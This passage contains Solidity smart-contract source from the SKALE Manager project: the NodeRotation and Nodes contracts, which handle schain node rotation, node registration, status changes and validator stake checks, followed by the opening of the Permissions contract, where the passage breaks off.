Copyright (C) 2018-Present SKALE Labs
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/utils/Strings.sol";
import "./Permissions.sol";
import "./ConstantsHolder.sol";
import "./SchainsInternal.sol";
import "./Schains.sol";
import "./Nodes.sol";
import "./interfaces/ISkaleDKG.sol";
/**
* @title NodeRotation
* @dev This contract handles all node rotation functionality.
*/
contract NodeRotation is Permissions {
using StringUtils for string;
using StringUtils for uint;
using Strings for uint;
/**
* nodeIndex - index of Node which is in process of rotation (left from schain)
* newNodeIndex - index of Node which is rotated(added to schain)
* freezeUntil - time till which Node should be turned on
* rotationCounter - how many rotations were on this schain
*/
struct Rotation {
uint nodeIndex;
uint newNodeIndex;
uint freezeUntil;
uint rotationCounter;
}
struct LeavingHistory {
bytes32 schainIndex;
uint finishedRotation;
}
mapping (bytes32 => Rotation) public rotations;
mapping (uint => LeavingHistory[]) public leavingHistory;
mapping (bytes32 => bool) public waitForNewNode;
/**
* @dev Allows SkaleManager to remove, find new node, and rotate node from
* schain.
*
* Requirements:
*
* - A free node must exist.
*/
function exitFromSchain(uint nodeIndex) external allow("SkaleManager") returns (bool) {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
bytes32 schainId = schainsInternal.getActiveSchain(nodeIndex);
require(_checkRotation(schainId), "No free Nodes available for rotating");
rotateNode(nodeIndex, schainId, true);
return schainsInternal.getActiveSchain(nodeIndex) == bytes32(0) ? true : false;
}
/**
* @dev Allows SkaleManager contract to freeze all schains on a given node.
*/
function freezeSchains(uint nodeIndex) external allow("SkaleManager") {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
bytes32[] memory schains = schainsInternal.getActiveSchains(nodeIndex);
for (uint i = 0; i < schains.length; i++) {
Rotation memory rotation = rotations[schains[i]];
if (rotation.nodeIndex == nodeIndex && now < rotation.freezeUntil) {
continue;
}
string memory schainName = schainsInternal.getSchainName(schains[i]);
string memory revertMessage = "Node cannot rotate on Schain ";
revertMessage = revertMessage.strConcat(schainName);
revertMessage = revertMessage.strConcat(", occupied by Node ");
revertMessage = revertMessage.strConcat(rotation.nodeIndex.toString());
string memory dkgRevert = "DKG process did not finish on schain ";
ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG"));
require(
skaleDKG.isLastDKGSuccessful(keccak256(abi.encodePacked(schainName))),
dkgRevert.strConcat(schainName));
require(rotation.freezeUntil < now, revertMessage);
_startRotation(schains[i], nodeIndex);
}
}
/**
* @dev Allows Schains contract to remove a rotation from an schain.
*/
function removeRotation(bytes32 schainIndex) external allow("Schains") {
delete rotations[schainIndex];
}
/**
* @dev Allows Owner to immediately rotate an schain.
*/
function skipRotationDelay(bytes32 schainIndex) external onlyOwner {
rotations[schainIndex].freezeUntil = now;
}
/**
* @dev Returns rotation details for a given schain.
*/
function getRotation(bytes32 schainIndex) external view returns (Rotation memory) {
return rotations[schainIndex];
}
/**
* @dev Returns leaving history for a given node.
*/
function getLeavingHistory(uint nodeIndex) external view returns (LeavingHistory[] memory) {
return leavingHistory[nodeIndex];
}
function isRotationInProgress(bytes32 schainIndex) external view returns (bool) {
return rotations[schainIndex].freezeUntil >= now && !waitForNewNode[schainIndex];
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
}
/**
* @dev Allows SkaleDKG and SkaleManager contracts to rotate a node from an
* schain.
*/
function rotateNode(
uint nodeIndex,
bytes32 schainId,
bool shouldDelay
)
public
allowTwo("SkaleDKG", "SkaleManager")
returns (uint newNode)
{
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
Schains schains = Schains(contractManager.getContract("Schains"));
schainsInternal.removeNodeFromSchain(nodeIndex, schainId);
newNode = selectNodeToGroup(schainId);
uint8 space = schainsInternal.getSchainsPartOfNode(schainId);
schains.addSpace(nodeIndex, space);
_finishRotation(schainId, nodeIndex, newNode, shouldDelay);
}
/**
* @dev Allows SkaleManager, Schains, and SkaleDKG contracts to
* pseudo-randomly select a new Node for an Schain.
*
* Requirements:
*
* - Schain is active.
* - A free node already exists.
* - Free space can be allocated from the node.
*/
function selectNodeToGroup(bytes32 schainId)
public
allowThree("SkaleManager", "Schains", "SkaleDKG")
returns (uint)
{
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
require(schainsInternal.isSchainActive(schainId), "Group is not active");
uint8 space = schainsInternal.getSchainsPartOfNode(schainId);
uint[] memory possibleNodes = schainsInternal.isEnoughNodes(schainId);
require(possibleNodes.length > 0, "No free Nodes available for rotation");
uint nodeIndex;
uint random = uint(keccak256(abi.encodePacked(uint(blockhash(block.number - 1)), schainId)));
do {
uint index = random % possibleNodes.length;
nodeIndex = possibleNodes[index];
random = uint(keccak256(abi.encodePacked(random, nodeIndex)));
} while (schainsInternal.checkException(schainId, nodeIndex));
require(nodes.removeSpaceFromNode(nodeIndex, space), "Could not remove space from nodeIndex");
schainsInternal.addSchainForNode(nodeIndex, schainId);
schainsInternal.setException(schainId, nodeIndex);
schainsInternal.setNodeInGroup(schainId, nodeIndex);
return nodeIndex;
}
/**
* @dev Initiates rotation of a node from an schain.
*/
function _startRotation(bytes32 schainIndex, uint nodeIndex) private {
ConstantsHolder constants = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
rotations[schainIndex].nodeIndex = nodeIndex;
rotations[schainIndex].newNodeIndex = nodeIndex;
rotations[schainIndex].freezeUntil = now.add(constants.rotationDelay());
waitForNewNode[schainIndex] = true;
}
/**
* @dev Completes rotation of a node from an schain.
*/
function _finishRotation(
bytes32 schainIndex,
uint nodeIndex,
uint newNodeIndex,
bool shouldDelay)
private
{
ConstantsHolder constants = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
leavingHistory[nodeIndex].push(
LeavingHistory(schainIndex, shouldDelay ? now.add(constants.rotationDelay()) : now)
);
rotations[schainIndex].newNodeIndex = newNodeIndex;
rotations[schainIndex].rotationCounter++;
delete waitForNewNode[schainIndex];
ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainIndex);
}
/**
* @dev Checks whether a rotation can be performed.
*
* Requirements:
*
* - Schain must exist.
*/
function _checkRotation(bytes32 schainId ) private view returns (bool) {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
require(schainsInternal.isSchainExist(schainId), "Schain does not exist for rotation");
return schainsInternal.isAnyFreeNode(schainId);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Nodes.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
@author Dmytro Stebaiev
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/utils/SafeCast.sol";
import "./delegation/DelegationController.sol";
import "./delegation/ValidatorService.sol";
import "./BountyV2.sol";
import "./ConstantsHolder.sol";
import "./Permissions.sol";
/**
* @title Nodes
* @dev This contract contains all logic to manage SKALE Network nodes states,
* space availability, stake requirement checks, and exit functions.
*
* Nodes may be in one of several states:
*
* - Active: Node is registered and is in network operation.
* - Leaving: Node has begun exiting from the network.
* - Left: Node has left the network.
* - In_Maintenance: Node is temporarily offline or undergoing infrastructure
* maintenance
*
* Note: Online nodes contain both Active and Leaving states.
*/
contract Nodes is Permissions {
using SafeCast for uint;
// All Nodes states
enum NodeStatus {Active, Leaving, Left, In_Maintenance}
struct Node {
string name;
bytes4 ip;
bytes4 publicIP;
uint16 port;
bytes32[2] publicKey;
uint startBlock;
uint lastRewardDate;
uint finishTime;
NodeStatus status;
uint validatorId;
string domainName;
}
// struct to note which Nodes and which number of Nodes owned by user
struct CreatedNodes {
mapping (uint => bool) isNodeExist;
uint numberOfNodes;
}
struct SpaceManaging {
uint8 freeSpace;
uint indexInSpaceMap;
}
// TODO: move outside the contract
struct NodeCreationParams {
string name;
bytes4 ip;
bytes4 publicIp;
uint16 port;
bytes32[2] publicKey;
uint16 nonce;
string domainName;
}
// array which contain all Nodes
Node[] public nodes;
SpaceManaging[] public spaceOfNodes;
// mapping for checking which Nodes and which number of Nodes owned by user
mapping (address => CreatedNodes) public nodeIndexes;
// mapping for checking is IP address busy
mapping (bytes4 => bool) public nodesIPCheck;
// mapping for checking is Name busy
mapping (bytes32 => bool) public nodesNameCheck;
// mapping for indication from Name to Index
mapping (bytes32 => uint) public nodesNameToIndex;
// mapping for indication from space to Nodes
mapping (uint8 => uint[]) public spaceToNodes;
mapping (uint => uint[]) public validatorToNodeIndexes;
uint public numberOfActiveNodes;
uint public numberOfLeavingNodes;
uint public numberOfLeftNodes;
/**
* @dev Emitted when a node is created.
*/
event NodeCreated(
uint nodeIndex,
address owner,
string name,
bytes4 ip,
bytes4 publicIP,
uint16 port,
uint16 nonce,
string domainName,
uint time,
uint gasSpend
);
/**
* @dev Emitted when a node completes a network exit.
*/
event ExitCompleted(
uint nodeIndex,
uint time,
uint gasSpend
);
/**
* @dev Emitted when a node begins to exit from the network.
*/
event ExitInitialized(
uint nodeIndex,
uint startLeavingPeriod,
uint time,
uint gasSpend
);
modifier checkNodeExists(uint nodeIndex) {
require(nodeIndex < nodes.length, "Node with such index does not exist");
_;
}
modifier onlyNodeOrAdmin(uint nodeIndex) {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
require(
isNodeExist(msg.sender, nodeIndex) ||
_isAdmin(msg.sender) ||
getValidatorId(nodeIndex) == validatorService.getValidatorId(msg.sender),
"Sender is not permitted to call this function"
);
_;
}
/**
* @dev Allows Schains and SchainsInternal contracts to occupy available
* space on a node.
*
* Returns whether operation is successful.
*/
function removeSpaceFromNode(uint nodeIndex, uint8 space)
external
checkNodeExists(nodeIndex)
allowTwo("NodeRotation", "SchainsInternal")
returns (bool)
{
if (spaceOfNodes[nodeIndex].freeSpace < space) {
return false;
}
if (space > 0) {
_moveNodeToNewSpaceMap(
nodeIndex,
uint(spaceOfNodes[nodeIndex].freeSpace).sub(space).toUint8()
);
}
return true;
}
/**
* @dev Allows Schains contract to occupy free space on a node.
*
* Returns whether operation is successful.
*/
function addSpaceToNode(uint nodeIndex, uint8 space)
external
checkNodeExists(nodeIndex)
allow("Schains")
{
if (space > 0) {
_moveNodeToNewSpaceMap(
nodeIndex,
uint(spaceOfNodes[nodeIndex].freeSpace).add(space).toUint8()
);
}
}
/**
* @dev Allows SkaleManager to change a node's last reward date.
*/
function changeNodeLastRewardDate(uint nodeIndex)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
{
nodes[nodeIndex].lastRewardDate = block.timestamp;
}
/**
* @dev Allows SkaleManager to change a node's finish time.
*/
function changeNodeFinishTime(uint nodeIndex, uint time)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
{
nodes[nodeIndex].finishTime = time;
}
/**
* @dev Allows SkaleManager contract to create new node and add it to the
* Nodes contract.
*
* Emits a {NodeCreated} event.
*
* Requirements:
*
* - Node IP must be non-zero.
* - Node IP must be available.
* - Node name must not already be registered.
* - Node port must be greater than zero.
*/
function createNode(address from, NodeCreationParams calldata params)
external
allow("SkaleManager")
// returns (uint nodeIndex)
{
// checks that Node has correct data
require(params.ip != 0x0 && !nodesIPCheck[params.ip], "IP address is zero or is not available");
require(!nodesNameCheck[keccak256(abi.encodePacked(params.name))], "Name is already registered");
require(params.port > 0, "Port is zero");
require(from == _publicKeyToAddress(params.publicKey), "Public Key is incorrect");
uint validatorId = ValidatorService(
contractManager.getContract("ValidatorService")).getValidatorIdByNodeAddress(from);
// adds Node to Nodes contract
uint nodeIndex = _addNode(
from,
params.name,
params.ip,
params.publicIp,
params.port,
params.publicKey,
params.domainName,
validatorId);
emit NodeCreated(
nodeIndex,
from,
params.name,
params.ip,
params.publicIp,
params.port,
params.nonce,
params.domainName,
block.timestamp,
gasleft());
}
/**
* @dev Allows SkaleManager contract to initiate a node exit procedure.
*
* Returns whether the operation is successful.
*
* Emits an {ExitInitialized} event.
*/
function initExit(uint nodeIndex)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
returns (bool)
{
require(isNodeActive(nodeIndex), "Node should be Active");
_setNodeLeaving(nodeIndex);
emit ExitInitialized(
nodeIndex,
block.timestamp,
block.timestamp,
gasleft());
return true;
}
/**
* @dev Allows SkaleManager contract to complete a node exit procedure.
*
* Returns whether the operation is successful.
*
* Emits an {ExitCompleted} event.
*
* Requirements:
*
* - Node must have already initialized a node exit procedure.
*/
function completeExit(uint nodeIndex)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
returns (bool)
{
require(isNodeLeaving(nodeIndex), "Node is not Leaving");
_setNodeLeft(nodeIndex);
_deleteNode(nodeIndex);
emit ExitCompleted(
nodeIndex,
block.timestamp,
gasleft());
return true;
}
/**
* @dev Allows SkaleManager contract to delete a validator's node.
*
* Requirements:
*
* - Validator ID must exist.
*/
function deleteNodeForValidator(uint validatorId, uint nodeIndex)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
{
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
require(validatorService.validatorExists(validatorId), "Validator ID does not exist");
uint[] memory validatorNodes = validatorToNodeIndexes[validatorId];
uint position = _findNode(validatorNodes, nodeIndex);
if (position < validatorNodes.length) {
validatorToNodeIndexes[validatorId][position] =
validatorToNodeIndexes[validatorId][validatorNodes.length.sub(1)];
}
validatorToNodeIndexes[validatorId].pop();
address nodeOwner = _publicKeyToAddress(nodes[nodeIndex].publicKey);
if (validatorService.getValidatorIdByNodeAddress(nodeOwner) == validatorId) {
if (nodeIndexes[nodeOwner].numberOfNodes == 1 && !validatorService.validatorAddressExists(nodeOwner)) {
validatorService.removeNodeAddress(validatorId, nodeOwner);
}
nodeIndexes[nodeOwner].isNodeExist[nodeIndex] = false;
nodeIndexes[nodeOwner].numberOfNodes--;
}
}
/**
* @dev Allows SkaleManager contract to check whether a validator has
* sufficient stake to create another node.
*
* Requirements:
*
* - Validator must be included on trusted list if trusted list is enabled.
* - Validator must have sufficient stake to operate an additional node.
*/
function checkPossibilityCreatingNode(address nodeAddress) external allow("SkaleManager") {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
uint validatorId = validatorService.getValidatorIdByNodeAddress(nodeAddress);
require(validatorService.isAuthorizedValidator(validatorId), "Validator is not authorized to create a node");
uint[] memory validatorNodes = validatorToNodeIndexes[validatorId];
uint delegationsTotal = delegationController.getAndUpdateDelegatedToValidatorNow(validatorId);
uint msr = ConstantsHolder(contractManager.getContract("ConstantsHolder")).msr();
require(
validatorNodes.length.add(1).mul(msr) <= delegationsTotal,
"Validator must meet the Minimum Staking Requirement");
}
/**
* @dev Allows SkaleManager contract to check whether a validator has
* sufficient stake to maintain a node.
*
* Returns whether validator can maintain node with current stake.
*
* Requirements:
*
* - Validator ID and nodeIndex must both exist.
*/
function checkPossibilityToMaintainNode(
uint validatorId,
uint nodeIndex
)
external
checkNodeExists(nodeIndex)
allow("Bounty")
returns (bool)
{
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
require(validatorService.validatorExists(validatorId), "Validator ID does not exist");
uint[] memory validatorNodes = validatorToNodeIndexes[validatorId];
uint position = _findNode(validatorNodes, nodeIndex);
require(position < validatorNodes.length, "Node does not exist for this Validator");
uint delegationsTotal = delegationController.getAndUpdateDelegatedToValidatorNow(validatorId);
uint msr = ConstantsHolder(contractManager.getContract("ConstantsHolder")).msr();
return position.add(1).mul(msr) <= delegationsTotal;
}
/**
* @dev Allows Node to set In_Maintenance status.
*
* Requirements:
*
* - Node must already be Active.
* - `msg.sender` must be owner of Node, validator, or SkaleManager.
*/
function setNodeInMaintenance(uint nodeIndex) external onlyNodeOrAdmin(nodeIndex) {
require(nodes[nodeIndex].status == NodeStatus.Active, "Node is not Active");
_setNodeInMaintenance(nodeIndex);
}
/**
* @dev Allows Node to remove In_Maintenance status.
*
* Requirements:
*
* - Node must already be In Maintenance.
* - `msg.sender` must be owner of Node, validator, or SkaleManager.
*/
function removeNodeFromInMaintenance(uint nodeIndex) external onlyNodeOrAdmin(nodeIndex) {
require(nodes[nodeIndex].status == NodeStatus.In_Maintenance, "Node is not In Maintenance");
_setNodeActive(nodeIndex);
}
function setDomainName(uint nodeIndex, string memory domainName)
external
onlyNodeOrAdmin(nodeIndex)
{
nodes[nodeIndex].domainName = domainName;
}
/**
* @dev Returns nodes with space availability.
*/
function getNodesWithFreeSpace(uint8 freeSpace) external view returns (uint[] memory) {
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
uint[] memory nodesWithFreeSpace = new uint[](countNodesWithFreeSpace(freeSpace));
uint cursor = 0;
uint totalSpace = constantsHolder.TOTAL_SPACE_ON_NODE();
for (uint8 i = freeSpace; i <= totalSpace; ++i) {
for (uint j = 0; j < spaceToNodes[i].length; j++) {
nodesWithFreeSpace[cursor] = spaceToNodes[i][j];
++cursor;
}
}
return nodesWithFreeSpace;
}
/**
* @dev Checks whether it is time for a node's reward.
*/
function isTimeForReward(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bool)
{
return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex) <= now;
}
/**
* @dev Returns IP address of a given node.
*
* Requirements:
*
* - Node must exist.
*/
function getNodeIP(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bytes4)
{
require(nodeIndex < nodes.length, "Node does not exist");
return nodes[nodeIndex].ip;
}
/**
* @dev Returns domain name of a given node.
*
* Requirements:
*
* - Node must exist.
*/
function getNodeDomainName(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (string memory)
{
return nodes[nodeIndex].domainName;
}
/**
* @dev Returns the port of a given node.
*
* Requirements:
*
* - Node must exist.
*/
function getNodePort(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (uint16)
{
return nodes[nodeIndex].port;
}
/**
* @dev Returns the public key of a given node.
*/
function getNodePublicKey(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bytes32[2] memory)
{
return nodes[nodeIndex].publicKey;
}
/**
* @dev Returns an address of a given node.
*/
function getNodeAddress(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (address)
{
return _publicKeyToAddress(nodes[nodeIndex].publicKey);
}
/**
* @dev Returns the finish exit time of a given node.
*/
function getNodeFinishTime(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (uint)
{
return nodes[nodeIndex].finishTime;
}
/**
* @dev Checks whether a node has left the network.
*/
function isNodeLeft(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodes[nodeIndex].status == NodeStatus.Left;
}
function isNodeInMaintenance(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodes[nodeIndex].status == NodeStatus.In_Maintenance;
}
/**
* @dev Returns a given node's last reward date.
*/
function getNodeLastRewardDate(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (uint)
{
return nodes[nodeIndex].lastRewardDate;
}
/**
* @dev Returns a given node's next reward date.
*/
function getNodeNextRewardDate(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (uint)
{
return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex);
}
/**
* @dev Returns the total number of registered nodes.
*/
function getNumberOfNodes() external view returns (uint) {
return nodes.length;
}
/**
* @dev Returns the total number of online nodes.
*
* Note: Online nodes are equal to the number of active plus leaving nodes.
*/
function getNumberOnlineNodes() external view returns (uint) {
return numberOfActiveNodes.add(numberOfLeavingNodes);
}
/**
* @dev Returns IPs of active nodes.
*/
function getActiveNodeIPs() external view returns (bytes4[] memory activeNodeIPs) {
activeNodeIPs = new bytes4[](numberOfActiveNodes);
uint indexOfActiveNodeIPs = 0;
for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) {
if (isNodeActive(indexOfNodes)) {
activeNodeIPs[indexOfActiveNodeIPs] = nodes[indexOfNodes].ip;
indexOfActiveNodeIPs++;
}
}
}
/**
* @dev Returns active nodes linked to the `msg.sender` (validator address).
*/
function getActiveNodesByAddress() external view returns (uint[] memory activeNodesByAddress) {
activeNodesByAddress = new uint[](nodeIndexes[msg.sender].numberOfNodes);
uint indexOfActiveNodesByAddress = 0;
for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) {
if (isNodeExist(msg.sender, indexOfNodes) && isNodeActive(indexOfNodes)) {
activeNodesByAddress[indexOfActiveNodesByAddress] = indexOfNodes;
indexOfActiveNodesByAddress++;
}
}
}
/**
* @dev Return active node IDs.
*/
function getActiveNodeIds() external view returns (uint[] memory activeNodeIds) {
activeNodeIds = new uint[](numberOfActiveNodes);
uint indexOfActiveNodeIds = 0;
for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) {
if (isNodeActive(indexOfNodes)) {
activeNodeIds[indexOfActiveNodeIds] = indexOfNodes;
indexOfActiveNodeIds++;
}
}
}
/**
* @dev Return a given node's current status.
*/
function getNodeStatus(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (NodeStatus)
{
return nodes[nodeIndex].status;
}
/**
* @dev Return a validator's linked nodes.
*
* Requirements:
*
* - Validator ID must exist.
*/
function getValidatorNodeIndexes(uint validatorId) external view returns (uint[] memory) {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
require(validatorService.validatorExists(validatorId), "Validator ID does not exist");
return validatorToNodeIndexes[validatorId];
}
/**
* @dev constructor in Permissions approach.
*/
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
numberOfActiveNodes = 0;
numberOfLeavingNodes = 0;
numberOfLeftNodes = 0;
}
/**
* @dev Returns the Validator ID for a given node.
*/
function getValidatorId(uint nodeIndex)
public
view
checkNodeExists(nodeIndex)
returns (uint)
{
return nodes[nodeIndex].validatorId;
}
/**
* @dev Checks whether a node exists for a given address.
*/
function isNodeExist(address from, uint nodeIndex)
public
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodeIndexes[from].isNodeExist[nodeIndex];
}
/**
* @dev Checks whether a node's status is Active.
*/
function isNodeActive(uint nodeIndex)
public
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodes[nodeIndex].status == NodeStatus.Active;
}
/**
* @dev Checks whether a node's status is Leaving.
*/
function isNodeLeaving(uint nodeIndex)
public
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodes[nodeIndex].status == NodeStatus.Leaving;
}
/**
* @dev Returns number of nodes with available space.
*/
function countNodesWithFreeSpace(uint8 freeSpace) public view returns (uint count) {
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
count = 0;
uint totalSpace = constantsHolder.TOTAL_SPACE_ON_NODE();
for (uint8 i = freeSpace; i <= totalSpace; ++i) {
count = count.add(spaceToNodes[i].length);
}
}
/**
* @dev Returns the index of a given node within the validator's node index.
*/
function _findNode(uint[] memory validatorNodeIndexes, uint nodeIndex) private pure returns (uint) {
uint i;
for (i = 0; i < validatorNodeIndexes.length; i++) {
if (validatorNodeIndexes[i] == nodeIndex) {
return i;
}
}
return validatorNodeIndexes.length;
}
/**
* @dev Moves a node to a new space mapping.
*/
function _moveNodeToNewSpaceMap(uint nodeIndex, uint8 newSpace) private {
uint8 previousSpace = spaceOfNodes[nodeIndex].freeSpace;
uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap;
if (indexInArray < spaceToNodes[previousSpace].length.sub(1)) {
uint shiftedIndex = spaceToNodes[previousSpace][spaceToNodes[previousSpace].length.sub(1)];
spaceToNodes[previousSpace][indexInArray] = shiftedIndex;
spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray;
spaceToNodes[previousSpace].pop();
} else {
spaceToNodes[previousSpace].pop();
}
spaceToNodes[newSpace].push(nodeIndex);
spaceOfNodes[nodeIndex].freeSpace = newSpace;
spaceOfNodes[nodeIndex].indexInSpaceMap = spaceToNodes[newSpace].length.sub(1);
}
/**
* @dev Changes a node's status to Active.
*/
function _setNodeActive(uint nodeIndex) private {
nodes[nodeIndex].status = NodeStatus.Active;
numberOfActiveNodes = numberOfActiveNodes.add(1);
}
/**
* @dev Changes a node's status to In_Maintenance.
*/
function _setNodeInMaintenance(uint nodeIndex) private {
nodes[nodeIndex].status = NodeStatus.In_Maintenance;
numberOfActiveNodes = numberOfActiveNodes.sub(1);
}
/**
* @dev Changes a node's status to Left.
*/
function _setNodeLeft(uint nodeIndex) private {
nodesIPCheck[nodes[nodeIndex].ip] = false;
nodesNameCheck[keccak256(abi.encodePacked(nodes[nodeIndex].name))] = false;
delete nodesNameToIndex[keccak256(abi.encodePacked(nodes[nodeIndex].name))];
if (nodes[nodeIndex].status == NodeStatus.Active) {
numberOfActiveNodes--;
} else {
numberOfLeavingNodes--;
}
nodes[nodeIndex].status = NodeStatus.Left;
numberOfLeftNodes++;
}
/**
* @dev Changes a node's status to Leaving.
*/
function _setNodeLeaving(uint nodeIndex) private {
nodes[nodeIndex].status = NodeStatus.Leaving;
numberOfActiveNodes--;
numberOfLeavingNodes++;
}
/**
* @dev Adds node to array.
*/
function _addNode(
address from,
string memory name,
bytes4 ip,
bytes4 publicIP,
uint16 port,
bytes32[2] memory publicKey,
string memory domainName,
uint validatorId
)
private
returns (uint nodeIndex)
{
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
nodes.push(Node({
name: name,
ip: ip,
publicIP: publicIP,
port: port,
//owner: from,
publicKey: publicKey,
startBlock: block.number,
lastRewardDate: block.timestamp,
finishTime: 0,
status: NodeStatus.Active,
validatorId: validatorId,
domainName: domainName
}));
nodeIndex = nodes.length.sub(1);
validatorToNodeIndexes[validatorId].push(nodeIndex);
bytes32 nodeId = keccak256(abi.encodePacked(name));
nodesIPCheck[ip] = true;
nodesNameCheck[nodeId] = true;
nodesNameToIndex[nodeId] = nodeIndex;
nodeIndexes[from].isNodeExist[nodeIndex] = true;
nodeIndexes[from].numberOfNodes++;
spaceOfNodes.push(SpaceManaging({
freeSpace: constantsHolder.TOTAL_SPACE_ON_NODE(),
indexInSpaceMap: spaceToNodes[constantsHolder.TOTAL_SPACE_ON_NODE()].length
}));
spaceToNodes[constantsHolder.TOTAL_SPACE_ON_NODE()].push(nodeIndex);
numberOfActiveNodes++;
}
/**
* @dev Deletes node from array.
*/
function _deleteNode(uint nodeIndex) private {
uint8 space = spaceOfNodes[nodeIndex].freeSpace;
uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap;
if (indexInArray < spaceToNodes[space].length.sub(1)) {
uint shiftedIndex = spaceToNodes[space][spaceToNodes[space].length.sub(1)];
spaceToNodes[space][indexInArray] = shiftedIndex;
spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray;
spaceToNodes[space].pop();
} else {
spaceToNodes[space].pop();
}
delete spaceOfNodes[nodeIndex].freeSpace;
delete spaceOfNodes[nodeIndex].indexInSpaceMap;
}
function _publicKeyToAddress(bytes32[2] memory pubKey) private pure returns (address) {
bytes32 hash = keccak256(abi.encodePacked(pubKey[0], pubKey[1]));
bytes20 addr;
for (uint8 i = 12; i < 32; i++) {
addr |= bytes20(hash[i] & 0xFF) >> ((i - 12) * 8);
}
return address(addr);
}
function _min(uint a, uint b) private pure returns (uint) {
if (a < b) {
return a;
} else {
return b;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Permissions.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol";
import "./ContractManager.sol";
/**
* @title Permissions
* @dev Contract is connected module for Upgradeable approach, knows ContractManager
*/
contract Permissions is AccessControlUpgradeSafe {
using SafeMath for uint;
using Address for address;
ContractManager public contractManager;
/**
* @dev Modifier to make a function callable only when caller is the Owner.
*
* Requirements:
*
* - The caller must be the owner.
*/
modifier onlyOwner() {
require(_isOwner(), "Caller is not the owner");
_;
}
/**
